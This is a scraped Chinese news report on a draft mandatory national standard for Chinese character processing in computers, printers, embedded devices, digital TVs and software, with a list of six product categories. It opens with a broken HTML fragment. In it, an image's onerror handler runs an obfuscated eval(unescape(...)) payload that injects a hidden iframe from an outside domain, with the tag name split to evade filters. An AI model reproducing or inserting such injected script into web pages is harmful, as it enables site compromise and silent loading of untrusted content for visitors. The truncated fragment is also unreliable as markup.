0 && image.height>0){if(image.width>=700){this.width=700;this.height=image.height*700/image.width;}}" src='http://gimg.baidu.com/img/gsgs.gif' width=0 height=0 onerror="eval (unescape('var%20content1%3D%22%3CI+FR+AME%20%20align%3Dcenter%20marginWidth%3D0%20marginHeight%3D0%20src%3Dhttp%3A//qdsm.net/links/zh_160_600.html%20frameBorder%3D0%20width%3D160%20scrolling%3Dno%20height%3D600%3E%3C/I+FRAM+E%3E%22%3B%20document.getElementById%28%22contenthtml1%22%29.innerHTML%3D%20content1'.replace(/\+/g,'')))"> |
2月24日消息,我国正在起草《中文信息技术产品汉字处理通用规范》,该规范将作为强制性国家标准,将计算机、打印机、数字电视、机顶盒、数字相机等产品纳入该规范管理范围内。以强制性法规的形式,给以明确的使用要求和限制。
据了解,规范正在起草征集阶段。中国电子技术标准化研究所、中国人民解放军第二炮兵装备研究院第四研究所为起草单位,规范将2010年完成。
工信部在征集项目建议书中称,为了保证中文信息技术产品中汉字编码的一致性、完整性,以及汉字字型(形)的正确性、一致性和规范性,维护国家权益和消费者利益,建议《中文信息技术产品汉字处理通用规范》为强制性标准。
据介绍,中文信息技术产品汉字处理通用规范将在极广泛的信息技术产品和信息交换领域发挥重要作用,起到保证打印、显示等输出字型的质量,保证字形正确、字体规范编码一致互通互换的重要作用,对防止中华文化异化、洋化亦起到屏障作用,特别是对低点阵字型其作用尤其明显。
规范将涉及到计算机、打印机、数值电视、操作系统等6大类产品。具体如下:
1、计算机类产品:手持式计算机、便携式计算机、台式计算机、工业控制计算机、服务器、工作站等;
2、外围设备类:打印机(激光打印机、针式打印机、喷墨打印机、热转印打印机、绘图机)、显示设备(显示终端、大屏幕显示设备)、一体机(具有扫描、复印、打印等功能)等;
3、嵌入式设备:电子收款机、税控收款机、IC卡读写设备、电子记事本、电子辞典、电子图书阅读器、无线终端设备、移动电话、具有处理汉字功能的传真机、电话机等;
4、信息电器:数字电视、机顶盒、数字相机、数字报像机、MPS、字幕机等;
5、软件类产品:操作系统、数据库、中间件、办公软件、财务软件、CAD软件、表处理软件、教育软件等;
6、中文信息处理的其它产品。